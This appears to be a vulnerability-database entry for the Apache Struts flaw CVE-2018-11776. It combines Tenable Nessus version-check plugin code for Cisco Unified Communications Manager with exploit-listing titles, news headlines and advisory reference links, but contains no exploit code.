audit(AUDIT_PARANOID); app_info = vcf::combined_get_app_info(app:"Apache Struts"); vcf::check_granularity(app_info:app_info, sig_segments:3); constraints = [ { "min_version" : "2.3", "max_version" : "2.3.34", "fixed_version" : "2.3.35" }, { "min_version" : "2.5", "max_version" : "2.5.16", "fixed_version" : "2.5.17" } ]; vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);
NASL family CISCO NASL id CISCO-SA-20180823-APACHE-STRUTS-UCM.NASL description According to its self-reported version, the Cisco Unified Communications Manager (CUCM) running on the remote device is affected by a remote code execution vulnerability. Please see the included Cisco BID and the Cisco Security Advisory for more information. last seen 2020-06-01 modified 2020-06-02 plugin id 112289 published 2018-09-05 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/112289 title Cisco Unified Communication Manager Apache Struts RCE (CSCvm14042) code #TRUSTED 52356421ff6fbfad961f70ee7cab9fee9c6b5d222084c08f6cc7e3cba35e7093bfb7089cb0ecf0c87f6e66eff5cf318ede61fd517e9071bec49cf16f3f6546d951ad4b1927d54e3e330e49edad22a34537f5500c73380f0506c10f400532aec9138df74e4377dfcf0d97c58f63214758ea229d646e2fbd25c63426ac73a55cfe6185d98b16acf55f92846a293e55d7a3b08437630ce0708c382f29f885ffafc06ff361334b093148467188003f70bab002eaf0393b526e174a879411ec279584534661827d6458b9a94ee1125f1d49a21971a19a608459e5b41e2099c5cf6674c8f0bd19d0a6dd748b4a666882ee5d7225298269c4e7151feef244c8179b89e56679bcf7cf56e83f72ce388d6c455713500f17b2e4d0001399bf8214dfa01ab79cf042d47016b9e07e8be4b9eb482266ac9fb9a66b880ef91f9b3db010b3328f107a814a9639268717e646280b0cd3ab20977c440eb96f2f352a03182747e9bb92b7e86e3c696a5e2ab633be2d2a471df87be02bf08db1304b065b4ed7bf95d9d6befa07917612f896a619d11657c62dddb4baf88aeee272acd7ff263720a87422f4d8668876f5d4d1797696225f99128cba83e9a52e406ed2d9712639a60fc0d1b76da6c6aa71b7b106166a9de5c8a94942f9c3d88774ebaffd840a8ae7c0821048d25d14b744107103f735f32e92e798416d5300052186510e6ac2d0d72030 # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(112289); script_version("1.10"); script_cvs_date("Date: 2019/12/20"); script_cve_id("CVE-2018-11776"); script_bugtraq_id(105125); script_xref(name:"CISCO-BUG-ID", value:"CSCvm14042"); script_xref(name:"CISCO-SA", value:"cisco-sa-20180823-apache-struts"); script_name(english:"Cisco Unified Communication Manager Apache Struts RCE (CSCvm14042)"); script_summary(english:"Checks the version of Cisco Unified Communications Manager (CUCM)."); script_set_attribute(attribute:"synopsis", value: "The remote device is affected by an information disclosure vulnerability."); script_set_attribute(attribute:"description", value: "According to its self-reported version, the Cisco Unified Communications Manager (CUCM) running on the remote device is affected by a remote code execution vulnerability. Please see the included Cisco BID and the Cisco Security Advisory for more information."); # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56a0e547"); script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm14042"); script_set_attribute(attribute:"solution", value: "Upgrade to the relevant fixed version referenced in Cisco bug ID CSCvm14042."); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/23"); script_set_attribute(attribute:"patch_publication_date", value:"2018/08/23"); script_set_attribute(attribute:"plugin_publication_date", value:"2018/09/05"); script_set_attribute(attribute:"plugin_type", value:"combined"); script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_communications_manager"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"CISCO"); script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("cisco_ucm_detect.nbin"); script_require_keys("Host/Cisco/CUCM/Version", "Host/Cisco/CUCM/Version_Display"); exit(0); } include("audit.inc"); include("cisco_workarounds.inc"); include("ccf.inc"); product_info = cisco::get_product_info(name:"Cisco Unified Communications Manager"); version_list = make_list( '11.0.1.10000.10', '11.5.1.10000.6', '12.0.1.10000.10', '12.5.0.98000.981'); workarounds = make_list(CISCO_WORKAROUNDS['no_workaround']); workaround_params = make_list(); reporting = make_array( 'port' , 0, 'severity' , SECURITY_HOLE, 'version' , product_info['display_version'], 'bug_id' , "CSCvm14042"); cisco::check_and_report(product_info:product_info, workarounds:workarounds, workaround_params:workaround_params, reporting:reporting, vuln_versions:version_list);
Packetstorm
data source https://packetstormsecurity.com/files/download/149086/apachestruts2325-exec.txt id PACKETSTORM:149086 last seen 2018-08-27 published 2018-08-26 reporter Mazin Ahmed source https://packetstormsecurity.com/files/149086/Apache-Struts-2.3-2.5-Remote-Code-Execution.html title Apache Struts 2.3 / 2.5 Remote Code Execution data source https://packetstormsecurity.com/files/download/149277/struts2_namespace_ognl.rb.txt id PACKETSTORM:149277 last seen 2018-09-08 published 2018-09-07 reporter wvu source https://packetstormsecurity.com/files/149277/Apache-Struts-2-Namespace-Redirect-OGNL-Injection.html title Apache Struts 2 Namespace Redirect OGNL Injection data source https://packetstormsecurity.com/files/download/149087/apachestruts23252-exec.txt id PACKETSTORM:149087 last seen 2018-08-27 published 2018-08-25 reporter hook-s3c source https://packetstormsecurity.com/files/149087/Apache-Struts-2.3-2.5-Remote-Code-Execution.html title Apache Struts 2.3 / 2.5 Remote Code Execution
Saint
bid | 105125 |
description | Apache Struts undefined namespace vulnerability |
id | web_dev_strutsnamespacerce |
title | struts_namespace |
type | remote |
The Hacker News
id THN:89C2482FECD181DD37C6DAEEB7A66FA9 last seen 2018-08-23 modified 2018-08-23 published 2018-08-22 reporter The Hacker News source https://thehackernews.com/2018/08/apache-struts-vulnerability.html title New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers id THN:72352D205E5586C5585536F8661A10E4 last seen 2018-09-06 modified 2018-09-06 published 2018-09-06 reporter The Hacker News source https://thehackernews.com/2018/09/cisco-patch-updates.html title Cisco Issues Security Patch Updates for 32 Flaws in its Products
Related news
- Cisco fixes a host of security holes, including latest Apache Struts flaw (source)
- CVE-2018-11776 — The Latest Apache Struts Vulnerability (source)
- PoC exploit for critical Apache Struts flaw found online (source)
- PoC Code Surfaces to Exploit Apache Struts 2 Vulnerability (source)
- Critical Apache Struts flaw opens enterprises to compromise, patch ASAP! (source)
- Critical Apache Struts 2 Flaw Allows Remote Code Execution (source)
References
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://security.netapp.com/advisory/ntap-20180822-0001/
- http://www.securitytracker.com/id/1041547
- http://www.securityfocus.com/bid/105125
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2018-005.txt
- https://www.exploit-db.com/exploits/45262/
- https://www.exploit-db.com/exploits/45260/
- https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2018-11776-5072787.html
- https://www.exploit-db.com/exploits/45367/
- http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0012
- http://www.securitytracker.com/id/1041888
- https://security.netapp.com/advisory/ntap-20181018-0002/
- https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html
- https://www.oracle.com/security-alerts/cpujul2020.html
- http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html
- https://lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c%40%3Cannounce.apache.org%3E